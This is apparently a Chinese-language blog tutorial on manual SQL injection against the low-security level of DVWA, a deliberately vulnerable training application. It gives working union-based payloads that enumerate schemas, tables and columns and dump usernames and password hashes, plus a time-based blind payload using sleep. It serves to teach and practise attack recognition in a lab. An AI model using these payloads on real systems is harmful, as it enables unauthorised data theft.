1. 程式人生 > 資料庫 >DVWA中low級別的SQL注入

DVWA中low級別的SQL注入

DVWA中低級別的SQL注入

基於錯誤的注入:
構造特殊的SQL語句注入到資料庫中,看得到的返回資訊,確認注入點,如果資料庫對輸入的某些SQL語句無返回資訊時,可以進行基於時間的注入(sleep函式)

1.基於union的注入
一般通過錯誤和布林注入確認注入點之後,
第一步猜解資料庫的欄位數
//猜解資料庫的欄位數(列)

' union select 1'

後端程式碼執行如下:
在這裡插入圖片描述

select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''

此時資料庫提示
The used SELECT statements have a different number of columns

使用的SELECT語句具有不同的列數
接下來我們繼續猜解
後端程式碼執行如下:
在這裡插入圖片描述

select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '';
' union select 1,2'

此時我們發現猜解成功,原始語句的欄位數為2
在這裡插入圖片描述
這個時候我們可以進行聯合查詢,查出我們所需的資訊。
‘union select version(),database()’
‘union select user(),database()’
查詢到資料庫的名稱為dvwa
在這裡插入圖片描述
接著我們可以通過資料庫字典來查詢資料庫中的所有庫和表

查詢所有庫名
‘union select table_schema, 1 from information_schema.tables-- ’
後端執行程式碼如下:
select first_name,last_name from dvwa.users where user_id=’'union select table_name,1 from information_schema.tables – ‘’;
在這裡插入圖片描述

查詢所有庫中的表名:
'union select table_name, 1 from information_schema.tables – ’
在這裡插入圖片描述
查詢資料庫和所有的表名:
類似於把班級分類然後把學生放到對應的班級中。庫就是班級,表就是學生

‘union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema – ’
庫:dvwa
表:users,guestbook
在這裡插入圖片描述
接下來我們可以繼續查詢表的結構,以users為例:
‘union select 1,column_name from information_schema.columns where table_name=‘users’ – ’
在這裡插入圖片描述
驗證下:
在這裡插入圖片描述
接下來根據表中的欄位來查詢欄位對應的資訊唄:
‘union select user,password from users;
在這裡插入圖片描述
我們受限於原始語句的欄位只能查詢兩列,藉助字串拼接來查詢所有欄位:
‘union select password, concat(first_name,’’,last_name,’’,user) from users – ’
在這裡插入圖片描述
基於時間的布林盲注:
有些情況下我們輸入一些SQL語句時,伺服器不會返回任何資訊供我們判斷是否執行了語句。
我們可以通過基於時間的盲注,s通過leep函式來判斷SQL語句的執行時間
’ or sleep(2) – ’
在這裡插入圖片描述
手工注入的流程:
判斷是否有注入點,判斷的方法有兩種
第一種是錯誤的注入,加個 ’ 引號讓他報錯。
如果報錯說明單引號被帶入到資料庫中進行查詢
我們就可以組織SQL語句進行資訊收集。
如果不能報錯也有兩種可能,第一種是被資料庫過濾了,第二種是資料庫收到了訊息但是不返回任何訊息,我們可以基於時間的注入。
找到注入點之後,採用union聯合查詢的方式猜解資料庫原始語句的欄位,猜解完成後,查詢資料庫的資訊。查詢資料庫,表名,欄位名,根據欄位名查詢對應的資料。